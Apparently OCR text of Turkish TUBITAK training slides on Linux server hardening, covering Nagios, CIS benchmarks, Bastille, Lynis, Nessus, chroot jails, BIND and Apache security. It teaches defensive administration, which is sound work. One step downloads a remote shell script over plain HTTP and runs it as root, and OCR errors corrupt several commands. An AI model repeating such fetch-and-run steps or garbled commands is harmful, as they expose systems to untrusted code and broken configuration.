anu'tu Unun.rl.lnlx Host

* Uzaktaki sunucuya dogrudan erisimin olmadigi durumlarda

* Uzak sistem plugin'lerini kendisi ¢alistirir ve nagios lzerindeki NSCA daemonina

bildirir

—

R — —
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Nagios | Kurulum “ ‘@'

! TUBITAK

Kurulum

https://www.digitalocean.com/community/articles/how-to-install-nagios-on-centos-6

g —_— TP _— -

Yapilandirma dosyalari

nagios.cfg: Ana nagios yapilandirma dosyasi.

cgi.cfg: CGl yapilandirmasi.

resource.cfg: Kaynak yapilandirma dosyasi.

commands.cfg: Komutlarin tanimlandigi dosya.

contacts.cfg: Kontakt ve kontakt gruplarinin tanimlandigi dosya.

templates.cfg: Host ve servis tanimlari icin sablon dosyasi.

- ——— — R - =
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Nagios | Izleme

Nagios

®Home
® Documentation

@ Status Overview
® Status Summary
¢ Status Grid

® Status Map
©3-D Status Map

@ Service Problems
®Host Problems
®Network Outages

¢ Comments

®Downtime

®Process Info
®Performance Info
@ Scheduling Queue

®Trends

® Availability

@ Alert Histogram
® Alert History

® Alert Summary
® Notifications
®Event Log

¢ View Config

webprod03.4

-

VIonnor

Check Users

Current Load

Memory Usage
PING
Root Partition

SWAP Usage
Total Processes

Xen Virtual Machine

Monitor

webprod04. s Check Users

Current Load

Memory Usage
PING
Root Partition

SWAP Usage
Total Processes

Xen Virtual Machine

Monitor

webprod05. s PING

xen-vm1.

xen-vma2..

o

Xen Virtual Machine

Monitor

Check Users
Current Load

Memory Usage
PING

Root Partition
SWAP Usage
Total Processes

Check Users
Current Load

Memory Usage

PING
Root Partition

SWAP Usage
Total Processes

OK
OK

OK

OK
OK
OK
OK

01-26-2007 14:58:59 0d 4h 53m 23s

01-26-2007 14:59:54
01-26-2007 14:55:29

01-26-2007 14:56:14

0d 4h 53m 23s
0d 4h 53m 23s

0d 4h 50m 23s

01-26-2007 14:57:09 0d 4h 50m 33s

01-26-2007 14:57:44
01-26-2007 14:58:29

- 01-26-2007 14:59:04

OK
OK

OK

OK
OK
OK
OK

WARNING

OK
OK

OK
OK

OK

OK
OK
OK
OK

OK
OK

OK

OK
OK
OK
OK

01-26-2007 14:59:54
01-26-2007 14:55:34

01-26-2007 14:56:19

01-26-2007 14:57:10
01-26-2007 14:57:49
01-26-2007 14:58:34

0d 4h 50m 33s
0d 4h 50m 33s

0d Oh 44m 34s
0d Oh 15m 33s
0d Oh 14m 53s
0d Oh 14m 13s

0d Oh 13m 23s
0d Oh 12m 43s
0d Oh 11m 53s

01-26-2007 14:59:09 0d Oh 16m 22s

01-26-2007 14:58:54

01-26-2007 14:55:39

01-26-2007 14:59:54

0d Oh 1m 33s

0d Oh 24m 58s

0d Oh Om 33s

01-26-2007 14:58:09 0d Oh 17m 23s

01-26-2007 14:57:54
01-26-2007 14:58:39
01-26-2007 14:59:15

0d 3h 16m 21s
0d 3h 15m 41s
0d 3h 15m 21s

01-26-2007 14:59:59 0d 3h 14m 51s

01-26-2007 14:55:44
01-26-2007 14:57:29

01-26-2007 14:57:15

0d 3h 14m 1s
0d Oh 18m 3s

0d 3h 7m 41s

01-26-2007 14:57:59 0d 3h 7m 1s

01-26-2007 14:58:44
01-26-2007 14:59:19

0d 3h 6m 21s

0d Oh 48m 14s

01-26-2007 15:00:05 0d 1h 15m 4s

01-26-2007 14:55:49
01-26-2007 14:56:34

0d 3h 9m 41s
0d 3h 9m 1s

1/4
1/4

114

1/4
1/4
1/4
1/4

4/4
1/4
1/4
1/4

1/4
1/4
1/4
1/4

4/4

1/4
1/4
174
1/4
1/4

1/4
1/4
1/4
1/4

1/4
1/4

1/4

114
114
14

TUBITAK

USERS OK - 1 users currently logged in
OK - load average: 0.21, 0.08, 0.05

OK: Memory Usage 56% - Total: 511 MB, Used: 287 MB,
Free: 224 MB

PING OK - Packet loss = 0%, RTA = 0.16 ms
DISK OK [243816 kB (5%) free on /dev/sda2]
Swap ok - (null) 0% (O out of 16386)

OK - 95 processes running

Critical Xen VMs Usage - Total NB: O - detected VMs:

USERS OK - 2 users currently logged in
OK - load average: 0.30, 0.60, 0.44

OK: Memory Usage 37% - Total: 511 MB, Used: 190 MB,
Free: 321 MB

PING OK - Packet loss = 0%, RTA = 0.27 ms

DISK OK [3948940 kB (94%) free on /dev/sda2]
Swap ok - (null) 0% (O out of 16386)

OK - 250 processes running

Waming Xen VMs Usage - Total NB: 1 - detected VMs:
migrating-xen-vm4

PING OK - Packet loss = 0%, RTA = 0.25 ms

OK: Xen Hypervisor "webprod05" is running 4 Xen VMs:
xen-vm1 xen-vm2 xen-vm3 xen-vm4

USERS OK - 1 users currently logged in
OK - load average: 1.54, 1.09, 048

OK: Memory Usage 8% - Total: 8195 MB, Used: 676 MB,
Free: 7519 MB

PING OK - Packet loss = 0%, RTA = 0.49 ms
DISK OK [4196280 kB (99%) free on udev]
Swap ok - (null) 0% (0 out of 2055)

OK - 88 processes running

USERS OK - 0 users cumently logged in
OK - load average: 0.00, 0.00, 0.00

OK: Memory Usage 6% - Total: 1023 MB, Used: 64 MB,
Free: 958 MB

PING OK - Packet loss = 0%, RTA = 0.43 ms
DISK OK [524220 kB (99%) free on udev]
Swap ok - (null) 0% (O out of 2055)

OK - 52 processes running

L ]
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Guvenlik Denetlemesi
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Guvenlik Denetleme Aracglari = CIS " ‘@'

TUBITAK

CENTER FOR

Sec ur'ity A DIVISION OF | * IMTERMNET SECURITY
1~ Benchmarks ;

www.cisecurity.org

indirmek icin kayit olmaniz gerekmektedir.
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CIS Degerlendirme Dokiimanlari

TUBITAK

€« C' { https://benchmarks.cisecurity.org/en-us/?route=downloads.bulk o ..
[ | |
A DIVISION OF gg» CENTER FOR

INTERNET SECURITY

Security
Benchmarks Gontact s [Cocai oror s | ()

Home > Downloads > Bulk

Overview SuSE Linux Benchmarks
Browse # CIS SUSE Linux Enterprise Server 10 Benchmark v2.0.0
Downloads ¢ CIS SUSE Linux Enterprise Server 9 Benchmark v1.0.0
Download Form FreeBSD Benchmarks
Configuration ¢ CIS FreeBSD 4.10 Benchmark v1.0.5
Benchmarks
Slackware Linux Benchmarks
Metrics
# CIS Slackware Linux 10.2 Benchmark v1.1.0
Benchmark .
—— Red Hat Linux Benchmarks
Tools

¢ CIS Red Hat Enterprise Linux 6 Benchmark v1.1.0
# (IS Red Hat Enterprise Linux 5 Benchmark v2.0.0

Security Metrics

Quick Start # CIS Red Hat Enterprise Linux 4 Benchmark Bundle w/ Bastille Configuration v1.0.5
Guide

IBM AlX Benchmarks
Crosswalk

® AIXPERT (AX5.3) XML for the CIS IBM AIX 5.3-6.1 Benchmark v1.0.0
Webcasts ¢ CIS IBM AIX 5.3-6.1 Benchmark v1.1.0

- * CIS IBM AIX4.3.2/4.3.3/5L/5.1 Benchmark v1.0.1

* AIXPERT (AIX 6.1) XML for the CIS IBM AIX 5.3-6.1 Benchmark v1.0.0

White Papers

m HP-UX Benchmarks

Support ® CIS HP-UX 11i Benchmark v1.5.0

Center for Internet Security | 31 Tech Valley Drive | East Greenbush, NY 12061 | 518.266.3460 | Contact CIS
Trusted Cyber Security Purchasing Alliance | Multi-State ISAC | Privacy Policy | Sitemap | News room

E% MG MDD
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Glivenlik Denetleme Araclari — Bastille

! TUBITAK

Bastille Linux isletim sistemi sikilastirma aracidir.

Linux’in disinda da destekledigi isletim sistemleri vardir.

-

- . T AN -

Calistirmak icin
.
# bastille -x GUI Mod '

# bastille -c Text Mod

# bastille --report Degerlendirme ve rapor

T = — =N : 3
— GlEES
—Modules ————————————————————— Question
v’ Title Screen &Y ’7 |wDu\u you like to enahle kermel-hased stack execute protection?
' Patches
+ FilePenmissions =
¢ AccountSecurity & conmon way to gain privileged sccess is to provide some type of out-of-bounds |§
Securelnetd input that 1 not checked by a program.  This inpub can be used to overflov the
- stack in a vay that leawes some clewerly written instructions storsd in a place
Miscellaneous Daemons that will he exscuted by the program. The HP-UX kernel has the ability to
e disallow exscution of commsnds from the stack. This will conbain many of these
types of attacks, making them complstely useless. Because this is done at the
DNS kernel level, it is indépendent of any application which may have a
wulnerability of this type. Note that this will also bresk some applications
Printing (Example: Jawa 1.2 programs will fail if using JDK/IRE 1.2 2 versions older
HP UX than 1.2.2. 06) vhich were designed to execute code off of the stack. Howewer,
= vou can run “"chatr +es <executeshle files" to override this for individual
End Screen programs if they hreak
Changing the kernel parameter "executable stack® requires Bastille to recompile
the kernel. Ensure that the current running kernel is fotand/wmunix, & hackup
of the old kernel will be placed in /stand/viunix. prev and
/stond/dLknm. viunix, prev. If you ansver yes ko this question. you must rehoot
vour system for this change ko take effect.
(MANUAL ACTION REQUIRED TO COMPLETE THIS CONFIGURATION) i

Answer
’VQ Yes - No

<- Back Restore Default Explain Less OK -»
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TUBITAK

Uygulama | Lynis ile Denetim

Kuruluma gerek yok

wget http://www.rootkit.nl/files/lynis-1.3.0.tar.gz
tar -xvf lynis-1.3.0.tar.gz
cd lynis-1.3.0

Jlynis -c

T H T =

T ENAELED ]
OT FOUND ]

[ WAENING ]

S5 [ENTER] to continue, or
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Uygulama | ELS ile Sikilastirma " ‘@'

Bazi glivenlik ve optimizasyon ayarlarini otomatik olarak yapan bir shell scriptidir.
Fedora Core, CentOS, Debian

Red Hat Enterprise Linux,

- .

S

# wget -0 installer.sh http://els.web4host.net/installer.sh

# chmod +x installer.sh
# ./installer.sh

Yapilabilecek tim islemlerin listesi

# els--help

# els--all
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AR Toray A= T

Dtomatik zatlyet tarayicisi
= P— 3

# wget "http://downloads.nessus.org/... "

# rpm -ihv nessus.rpm

http://www.nessus.org/products/nessus/nessus-plugins/obtain-an-activation-code
# [Jopt/nessus/bin/nessus-fetch --register XXXX-XXXX

# service nessusd start \ ‘ { //
# Jopt/nessus/sbin/nessus-adduser @

Nessus

http://localhost:8834
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Nessus Policy Scan

TUBITAK

& Tenable Customer Su

€« c https://support.tenable.com/support-center/index.php?x=&mod id=190 Lok =
Ly ‘e a .
Z@> TENABLE Network Security -
ng & Certification Resources Support About Tenable
Customer ID: 32400 >
Main Menu Downloads
£ Home Nessus Compliance and Audit Download Center

+ Open a Ticket

@ Activation Codes

o My Ticket Hislory

@ Browse Knowledgebase
O My Account

¥ Downlioads % Compliance Checks Tools ‘ CIS Compliance Audit Policies

This interface allows you to download the support files you need for Nessus to do
compliance and audit scans

m

P-JES_*Q;S{JS PlH in Search Download compliance check CIS certified configuration audit
8 Training Videos policy tools and documentation [ policies for Windows, Solaris

Contact Customer Support: Red Hat, FreeBSD and many

1-855-267-7044 (Toll Free US/Canada) other operating systems
1-443-545-2104 (Direct) J—
Monday - Friday 6am - 9pm EST \ Sensitive Content Audit Policies I B Configuration Audit Policies
%\ Audit policies that look for g:: Audit policies based on CERT,
= \ Credit Cards, Social Security | mean | DISA STIG, NSA, GLBA and
- Cllc!( Here numbers and many other types HIPAA standards.
gy forLive of sensitive data.
4 Chat Support
& Windows Audit Policies Cisco Audit Policies
Microsoftt  Audit palicies based upon Audit policies that perform I
Logged In standard Microsoft security configuration audits for |0S-
templates based Cisco devices.
Log Out
Antivirus Audit Policies F Virus Detection Audit Policies h
Audit policies designed to allow Va Audit policies that Tenable's
users to determine if an A Research group has produced
Knowledgebase antivirus package is installed that scan for known trojans and |
and set to a working state rootkits. N
SEARCH BY KEYWORDS:
. PCl Audit Policies Tenable Application Audit N
Audit policies developed by Policies
Find @ Tenable to test AX, HP-UX Audit policies that examine
Linux, Solaris and Windows hosts to determine if Tenable
systems for minimum required software applications exist and -
< | 11l 3
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Kullanim amaci dosya sistemi hiyerarsisi Uzerinde dagitik bicimde erisim
saglayabilen servisler icin kullanimi olmalidir.

Bu sekilde saldirgan, sistem lizerinde calisan bir servisten/uygulamadan kaynaklanan
bir aciklik ile sisteme siziginda bitin dosya sistemine er|§|m| engellenmis olacaktir.

_ A am e B o o Bl w a e o
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Uygulama | Chroot ile Kafes Ortami " @

TUBITAK

# cd /home/

# mkdir chroot

# mkdir -p chroot/var/lib/rpm

# rpom --rebuilddb --root=/home/chroot/

# wget http://mirror.centos.org/centos-6/6.4/0s/i386/Packages/centos-release-6-
4.el6.centos.10.i686.rpm

# rpm -i --root=/home/chroot/ --nodeps centos-release-6-4.el6.centos.10.i686.rpm

# yum --installroot=/home/chroot install -y rom-build yum
# cp -vi /home/chroot/etc/skel/.??* /home/chroot/root/
# mount --bind /proc /home/chroot/proc

# mount --bind /dev /home/chroot/dev

# cp /etc/resolv.conf /home/chroot/etc/

CHROOT ortamina girmek icin;
# chroot /home/chroot/ /bin/bash -

= B . Uhemh



https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr



https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr

DNS Giivenligi (1) “

R IE serwslerden b|r|5|d|r |
Yapilandirma dosyasi named conf” |

Guvenli BIND |
* BIND paketinin en son versiyonu yuklenmelidir.

* Versiyon bilgisi saklanmalidir.
*  DNS Sunumcusu givenlik duvarinin arkasina alinmahdir.
* Ayrik DNS yapisi kurulmahdir.

= ic DNS

= Dis DNS
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! TUBITAK

Internet

Internal

Mail litware.com Mail litware.com
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DNS Giivenligi (3) “

- .

.4 — T
Sorgu haklarr: |

= [c DNS’e sorgu yapmasina izin verilen IP’ler ve ethernet arayiizleri kisitlanmalidir.

Isim Alan transferleri kisitlanmalidir. |
= allow-transfer {IP’ler} |

= allow-query {IP’ler}
= listen-on {127.0.0.1; Ara. IP’leri}
= Dis DNS sunucuda i¢ ice (recursive) sorgular kapatiimalidir.

= recur5|on {yes/no}

Alan dosyalarinda TXT,HINFO glbl kaynak kayltlarl olmamalldlr |
Calistiran kullanici ismi ve kdk dizini degistirilmelidir. |
= named -u [sinirl kullanici ismi ] -t [ kokdizini ] |
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DNS Giivenligi (4) | 4

TUBITAK

options {
directory "/usr/local/etc/namedb/";
pid-file "/tmp/named.pid";

zone "isim.alan" IN {
type master;
file "isim.alan.zone";
(__allow-transfer {192.1685.12),  #Onlem2 ]
zone “isim2.alan" IN {
type master;
file “isim2.alan.zone"; |5

— —
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DNS Giivenligi (5) " @

TUBITAK

BIND calistirdigi servisin kok dizinini degistirme imkani verir (chroot)

BIND yazilimi kullanilarak sistemin ele gecirilmesi durumunda butlin dosya sistemi
yerine sadece tanimlanmis kok dizini icerisinde zarar verilebilir.

¥ F 3

i {roof)
ftimp fusr fvar felc Nk Min fshin

fvarfrun fvar/BIND-chroot  fvartmp fearflog
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TUBITAK

= # mkdir /var/bind
= # cd /var/bind

= # mkdir -p bin dev etc lib usr/sbin var/named var/run

Gerekli dosyalarin kopyalanmasi. |
Verilerin Kopyalanmasi |

Konfiglirasyon ve alan dosyalari yeni ortama kopyalanmalidir. Cogu sistemde bu
veriler /var/named dizininde tutulur.

-

= # cp /etc/named.conf

= # cp -rp /var/named/* /var/bind/var/named/

Ty we— e =
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Web Sunucu Guvenligi
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Web Sunucu Guvenligi (1) “ ‘@'

! TUBITAK

Cluster (Apache + mod_security + Reverse Proxy)

Cliant's DNS record paints
to the clustar VIF

Reverse Proxy

Maod _security

Load balarcad cluskar wilh
apache+moedsacurity running as
a par virtual hoest reverss proxy

Intarmal usars


https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr

Web Sunucu Giivenligi (2) “

Servisin calistiricisi belirlenmelidir. |

= Sistem Uzerinde yetkisi az olmali!
= ORNEK : nobody

Dosyalara erisim kisitlanmahdir. |

= httpd
[root]# chmod 100 httpd
= .htm ya da .php
[root]# chmod 600 index.htm

= .cgi

[root]# chmod 700 index.cgi

—-— - - r 4
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Web Sunucu Giivenligi (3) " ‘@'

TUBITAK

.ht*ile baslayan dosyalar webte gozikmemelidir.

<Files ~ “M\.ht">

Order allow,deny

Deny from all

</Files>

Dizin icerikleri gosterilmemelidir.

# cat /etc/httpd/httpd.conf | grep Options |
¥ — - ¥

Sadece belli dizinlere cgi izni verilmelidir.

<Directory /usr/local/www/cgi-bin>

Options ExecCGl

</Directory>
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TUBITAK

Kimlik dogrulama, sunumcunun, istemcinin kimliginden emin olmak icin bilgi
degisimi yaparak yerine getirdigi bir prosedurddur.

= mod_auth_db

= mod_auth_dbm

= mod_digest

* mod_auth_anon

. TS T AT T T T T T T eSS
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TUBITAK

Bir dizine erisim haklarinin diizenlenmesi icin .htaccess dosyalari

<Directory “/usr/local/www/alt_dizin”>

AllowOverride AuthConfig

</Directory>

] 1 25

Options -FollowSymLinks

<Directory /usr/local/www/alt_dizin>

Options FollowSymLinks +SymLinksOwnerMatch

<Directory>
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Web Sunucu Giivenligi (6) “ ‘@'

TUBITAK

Ornek bir kimlik dogrulama (mod_auth):

{

<Directory “/usr/local/www/”>

AllowOverride AuthConfig

</Directory>

- -

.htaccess icerigi |
-!—F

AuthUserFile /usr/local/sifre
AuthName “Guvenli Alan”

AuthType Basic

require valid-user

e TS ETETT -y S 4



https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr

Web Sunucu Guvenligi (7) “ ‘@'

TUBITAK

Web sunucusunda erisim kontrolt yapilmasi gerekebilir.

Bu ozellik mod_access ile kontrol edilebilir.

;.2 — T R —

Erisim kontrolt ornegi:

<Directory “/usr/local/www/alt_dizin”>
order deny, allow
allow from 10.0.1.4

</Directory>

— —
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TUBITAK

Apache ve Apache tabanli web sunucularda strim bilgisi kaldirilmalidir.

Bu bilgiyi en aza indirgemek icin httpd.conf dosyasinda ServerTokens ProductOnly
kullantlir. |

- ———— —

Eger kaynak koda erisim varsa S{ApacheKaynakDizini}/src/include/httpd.h
dosyasi duzenlenebilir.

Eger kaynak koda erisim yoksa mod_security SecServerSignature kullanilr. |

—p— T d Yy
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TUBITAK

SSL Sunucusu Kurulmasi gerekebilir. Bunun icin ilk basta sifreli bir anahtar
olusturulur.

# openssl genrsa —des3 —rand /var/log/messages:/etc/fstab:/var/log/mail -out
server.key 1024

A R R T T R R R R RARPADAREREERESESESESEEESSEETABLAp, -

Daha sonra server.key’den sifre cikartilir

# openssl rsa -in server.key -out server.pem
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Tesekkurler
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